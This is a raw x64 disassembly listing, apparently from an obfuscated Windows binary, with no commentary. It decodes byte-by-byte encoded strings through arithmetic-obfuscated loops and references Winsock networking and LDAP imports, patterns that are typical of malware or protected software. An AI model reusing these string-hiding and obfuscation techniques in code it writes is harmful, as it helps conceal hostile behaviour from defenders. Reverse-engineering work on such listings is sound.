mov byte [rbp + rbx + 0x6c0], r10b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b5402
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r10b
sub dl, dil
sub dl, 0x56
movzx r11d, bl
add dl, cl
sub r11b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x6c0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, cl
mov byte [rbp + rbx + 0x6c0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
sub dl, 0x6e
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
add r11b, 0xe
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x62
jmp 0x1400b5400
sub r11b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
jmp 0x1400b53f0
lea rdx, [rbp + 0x17ba308]
jmp 0x1400b5f4f
lea rdx, [rbp + 0xdb3d3e]
jmp 0x1400b5f4f
lea rdx, [rbp + 0x6c0]
mov r9d, gethostname
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
movzx edx, byte [rsp + 0x30]
cmp eax, 6
jne 0x1400b7b3d
mov byte [rbp + 0x3f0], 0xb3
mov byte [rbp + 0x3f1], 0xbf
mov byte [rbp + 0x3f2], gethostname
mov byte [rbp + 0x3f3], Ordinal_79
mov byte [rbp + 0x3f4], 0x45
mov byte [rbp + 0x3f5], 0x47
mov byte [rbp + 0x3f6], Ordinal_79
mov byte [rbp + 0x3f7], reloc.WS2_32.dll_socket
mov byte [rbp + 0x3f8], Ordinal_50
mov byte [rbp + 0x3f9], WSASetLastError
mov byte [rbp + 0x3fa], WSASetLastError
mov byte [rbp + 0x3fb], 0x5e
mov byte [rbp + 0x3fc], WSASetLastError
mov byte [rbp + 0x3fd], WSASetLastError
mov byte [rbp + 0x3fe], 0x5f
mov byte [rbp + 0x3ff], 0x53
mov byte [rbp + 0x400], 0xfc
xor eax, eax
movups xmmword [rbp + 0x401], xmm0
movups xmmword [rbp + 0x411], xmm0
mov word [rbp + 0x421], ax
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400b6b7d
movzx r11d, byte [rbp + rbx + 0x3f0]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b6b74
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b605e
lea rcx, [rbx + 0x125fe]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0xe
jmp 0x1400b608b
je 0x1400b6afb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b6a6e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b6a18
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b69cf
movzx r10d, bl
nop
cmp r9, rbx
ja 0x1400b6b6b
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400b60bf
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6110
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b69c4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b699e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b6982
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b6966
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b694c
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b692f
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400b665f
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b6642
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b6619
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b65f3
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b65d6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b65b6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b659a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b657e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b6560
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b6533
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b6120
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400b6b4b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b6b2b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b62f5
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b62d8
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b62be
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b64e9
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b64a3
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b6468
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b643e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b6120
lea r8, [r9 + 0x42]
lea r9, [r8 + 1]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400b640d
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b63ed
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400b63d1
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b63b5
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b6399
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400b637d
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b635b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b6332
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400b6315
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400b6120
lea r8, [r9 + 0x80]
lea r9, [r8 + 3]
jmp 0x1400b6120
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
jmp 0x1400b6110
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6090
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b6030
lea edx, [r10 - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b69eb
sub r10b, 0x4c
movzx eax, r11b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b6012
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 8
dec rbx
inc rbx
jmp 0x1400b6012
lea edx, [r10 - 0x44]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x24
add dl, cl
jmp 0x1400b6a31
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x40
jmp 0x1400b6a53
sub r10b, 0x3c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x5c
jmp 0x1400b6a56
lea edx, [r10 - 0x38]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x78
add dl, cl
jmp 0x1400b6a8c
sub r10b, 0x34
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b6ab8
sub r10b, 0x30
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6012
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x3f0], dl
inc rbx
jmp 0x1400b6012
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x12
cmp r9, 0x40
jb 0x1400b6459
lea edx, [r10 + 0x34]
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400b69eb
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2e
cmp r8, 0x20
jae 0x1400b68fa
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400b67f7
lea edx, [r10 + 0x5c]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b647d
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4a
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x1400b6919
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400b6758
lea edx, [r10 - 0x7a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b64b8
add r10b, 4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1c
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6012
add r10b, 8
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x38
add dl, r10b
jmp 0x1400b6ab8
lea edx, [r10 + 0xc]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x54
add dl, cl
jmp 0x1400b6a8c
add r10b, 0x10
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x70
jmp 0x1400b6a56
add r10b, 0x14
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b6a53
lea edx, [r10 + 0x18]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b6a31
add r10b, 0x1c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400b6012
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b6012
lea edx, [r10 + 0x24]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b69eb
lea rcx, [r9 + 6]
cmp r8, rcx
jae 0x1400b6685
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b64fe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b66ab
sub r10b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400b6b12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b66ce
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x1400b6a8c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b66f3
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
jmp 0x1400b6a53
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b6716
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x1400b6a31
cmp r8, rcx
jne 0x1400b673d
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xc
dec rbx
inc rbx
jmp 0x1400b6012
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b64fe
lea edx, [r10 - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1400b69dc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b677e
lea edx, [r10 - 0x7e]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b69eb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b67a9
add r10b, 0x7a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x56
dec rbx
inc rbx
jmp 0x1400b6012
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b67ce
add r10b, 0x72
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1e
jmp 0x1400b6a53
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b64b8
add r10b, 0x6e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 2
jmp 0x1400b6a56
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b682d
add r10b, 0x58
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x68
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6012
inc rax
cmp r8, rax
jne 0x1400b6853
add r10b, 0x54
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x4c
add dl, r10b
jmp 0x1400b6ab8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b6878
lea edx, [r10 + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x30
add dl, cl
jmp 0x1400b6a8c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b689e
lea edx, [r10 + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b6a31
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b68d0
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b6012
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b647d
lea edx, [r10 + 0x38]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b69eb
lea edx, [r10 + 0x30]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, r11b
sub dl, 0x50
add dl, cl
jmp 0x1400b6a31
lea ecx, [r10 + 0x2c]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x34]
jmp 0x1400b6a8c
sub r10b, 0x4e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400b6b12
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
jmp 0x1400b6a8c
sub r10b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x32
jmp 0x1400b6a56
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4e
jmp 0x1400b6a53
sub r10b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b6012
lea edx, [r10 - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x1400b69dc
movzx r10d, bl
lea edx, [r10 - 0x26]
mov ecx, 5
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x5e
add r10b, r11b
mov byte [rbp + rbx + 0x3f0], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b6012
movzx r10d, bl
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4a
add r10b, 0x2e
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, dl
sub cl, al
sub cl, 0x42
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x3f0], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b6012
lea rax, [rbx + 0x809f2]
and dil, al
mov ecx, Ordinal_50
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r11b
movzx r10d, bl
add r10b, 0x2a
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x26
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x3f0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x28]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x18
add r11b, cl
mov byte [rbp + rbx + 0x3f0], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6012
lea rax, [rbx + 0x371fa]
and dil, al
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r11b
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6012
sub r10b, 0xa
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b6010
sub r10b, 6
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b6000
lea rsi, [rbp + 0x1458a98]
jmp 0x1400b6b84
lea rsi, [rbp + 0x106b096]
jmp 0x1400b6b84
lea rsi, [rbp + 0x3f0]
mov byte [rbp + 0x790], 0xbd
mov byte [rbp + 0x791], 0x5f
mov byte [rbp + 0x792], Ordinal_30
mov byte [rbp + 0x793], 0x58
mov byte [rbp + 0x794], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x795], 0x59
mov byte [rbp + 0x796], 0x5b
mov byte [rbp + 0x797], WSASetLastError
mov byte [rbp + 0x798], 0x59
mov byte [rbp + 0x799], 0x54
mov byte [rbp + 0x79a], 0x64
mov byte [rbp + 0x79b], 0x68
mov byte [rbp + 0x79c], 0x63
mov byte [rbp + 0x79d], WSASetLastError
mov byte [rbp + 0x79e], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x79f], 0x66
mov byte [rbp + 0x7a0], 0x53
mov byte [rbp + 0x7a1], Ordinal_79
mov byte [rbp + 0x7a2], 0x7f
mov byte [rbp + 0x7a3], 0x79
mov byte [rbp + 0x7a4], 0x7f
mov byte [rbp + 0x7a5], Ordinal_50
mov byte [rbp + 0x7a6], recv
mov byte [rbp + 0x7a7], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x7a8], 0x7a
mov byte [rbp + 0x7a9], 1
mov byte [rbp + 0x7aa], WSAGetLastError
mov byte [rbp + 0x7ab], 0x78
mov byte [rbp + 0x7ac], 0x7e
mov byte [rbp + 0x7ad], 0x79
mov byte [rbp + 0x7ae], 4
mov byte [rbp + 0x7af], 0x45
mov byte [rbp + 0x7b0], 0x41
mov byte [rbp + 0x7b1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x7b2], 0x7b
mov byte [rbp + 0x7b3], 0x45
mov byte [rbp + 0x7b4], 0x44
mov byte [rbp + 0x7b5], Ordinal_79
mov byte [rbp + 0x7b6], Ordinal_79
mov byte [rbp + 0x7b7], 0x41
mov byte [rbp + 0x7b8], 0x7b
mov byte [rbp + 0x7b9], 0x76
mov byte [rbp + 0x7ba], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x7bb], gethostname
mov byte [rbp + 0x7bc], 0x43
mov byte [rbp + 0x7bd], Ordinal_79
mov byte [rbp + 0x7be], gethostname
mov byte [rbp + 0x7bf], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x7c0], Ordinal_79
mov byte [rbp + 0x7c1], 0x5c
mov byte [rbp + 0x7c2], WSASetLastError
mov byte [rbp + 0x7c3], 0x5a
mov byte [rbp + 0x7c4], 0x58
mov byte [rbp + 0x7c5], WSAGetLastError
mov byte [rbp + 0x7c6], reloc.WS2_32.dll_select
mov byte [rbp + 0x7c7], 0x56
mov byte [rbp + 0x7c8], 0x57
mov byte [rbp + 0x7c9], reloc.WS2_32.dll_recv
mov byte [rbp + 0x7ca], 0x5e
mov byte [rbp + 0x7cb], 0x64
mov byte [rbp + 0x7cc], 0x48
mov byte [rbp + 0x7cd], 0x52
mov byte [rbp + 0x7ce], 0x56
mov byte [rbp + 0x7cf], 0x64
mov byte [rbp + 0x7d0], 0x5d
mov byte [rbp + 0x7d1], 0x59
mov byte [rbp + 0x7d2], 6
mov byte [rbp + 0x7d3], Ordinal_30
mov byte [rbp + 0x7d4], Ordinal_50
mov byte [rbp + 0x7d5], Ordinal_45
mov byte [rbp + 0x7d6], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x7d7], 0x5f
mov byte [rbp + 0x7d8], 0x7d
mov byte [rbp + 0x7d9], 0xa
mov byte [rbp + 0x7da], 0x50
mov byte [rbp + 0x7db], 5
mov byte [rbp + 0x7dc], 0x60
mov byte [rbp + 0x7dd], 0x55
mov byte [rbp + 0x7de], Ordinal_45
mov byte [rbp + 0x7df], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x7e0], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x7e1], Ordinal_79
mov byte [rbp + 0x7e2], recv
mov byte [rbp + 0x7e3], Ordinal_79
mov byte [rbp + 0x7e4], 8
mov byte [rbp + 0x7e5], Ordinal_60
mov byte [rbp + 0x7e6], gethostname
mov byte [rbp + 0x7e7], gethostname
mov byte [rbp + 0x7e8], Ordinal_60
mov byte [rbp + 0x7e9], 0x7e
mov byte [rbp + 0x7ea], Ordinal_60
mov byte [rbp + 0x7eb], 0x3d
mov byte [rbp + 0x7ec], 0x42
mov byte [rbp + 0x7ed], 7
mov byte [rbp + 0x7ee], 7
mov byte [rbp + 0x7ef], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x7f0], 0x46
mov byte [rbp + 0x7f1], recv
mov byte [rbp + 0x7f2], 8
mov byte [rbp + 0x7f3], 0xa
mov byte [rbp + 0x7f4], recv
mov byte [rbp + 0x7f5], Ordinal_60
mov byte [rbp + 0x7f6], Ordinal_60
mov byte [rbp + 0x7f7], reloc.WS2_32.dll_listen
mov byte [rbp + 0x7f8], 0x7e
mov byte [rbp + 0x7f9], Ordinal_30
mov byte [rbp + 0x7fa], 8
mov byte [rbp + 0x7fb], 8
mov byte [rbp + 0x7fc], gethostname
mov byte [rbp + 0x7fd], reloc.WS2_32.dll_listen
mov byte [rbp + 0x7fe], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x7ff], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x800], gethostname
mov byte [rbp + 0x801], reloc.WS2_32.dll_socket
mov byte [rbp + 0x802], 0x68
mov byte [rbp + 0x803], reloc.WS2_32.dll_select
mov byte [rbp + 0x804], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x805], Ordinal_30
mov byte [rbp + 0x806], WSASetLastError
mov byte [rbp + 0x807], 4
mov byte [rbp + 0x808], Ordinal_35
mov byte [rbp + 0x809], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x80a], 0x60
mov byte [rbp + 0x80b], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x80c], Ordinal_30
mov byte [rbp + 0x80d], Ordinal_45
mov byte [rbp + 0x80e], Ordinal_45
mov byte [rbp + 0x80f], Ordinal_30
mov byte [rbp + 0x810], Ordinal_30
mov byte [rbp + 0x811], 0xde
mov byte [rbp + 0x812], 0xdc
mov byte [rbp + 0x813], 0x9b
mov byte [rbp + 0x814], 0xe1
mov byte [rbp + 0x815], 0xdb
mov byte [rbp + 0x816], 0x9c
mov byte [rbp + 0x817], 0xeb
mov byte [rbp + 0x818], 0xe6
mov byte [rbp + 0x819], 0xea
mov byte [rbp + 0x81a], 0xe5
mov byte [rbp + 0x81b], __WSAFDIsSet
mov byte [rbp + 0x81c], 0xea
mov byte [rbp + 0x81d], Ordinal_217
mov byte [rbp + 0x81e], 0xe4
mov byte [rbp + 0x81f], 0xe7
mov byte [rbp + 0x820], Ordinal_211
mov byte [rbp + 0x821], 0xf7
mov byte [rbp + 0x822], 0xfd
mov byte [rbp + 0x823], 0xb5
mov byte [rbp + 0x824], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x825], xmm0
mov qword [rbp + 0x835], rax
mov dword [rbp + 0x83d], eax
mov word [rbp + 0x841], ax
movzx edx, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0xb3
jae 0x1400b7b31
movzx r11d, byte [rbp + rbx + 0x790]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b7b25
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b701e
lea rcx, [rbx + 0x125ff]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 7
jmp 0x1400b7057
je 0x1400b7ab4
inc rax
cmp r8, rax
je 0x1400b7a58
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b7a0d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b79b7
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b7971
movzx r10d, bl
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400b7b19
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400b7089
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6d
jmp 0x1400b70d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b795a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b793e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b7922
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b7908
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b78db
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b7652
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400b7635
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b760c
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b75e6
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b75c9
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b75a9
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400b7589
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b756c
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b754c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b751b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b70e0
lea r8, [r9 + 0x64]
lea r9, [r8 + 3]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b7afd
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400b7ae1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b72da
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b72c0
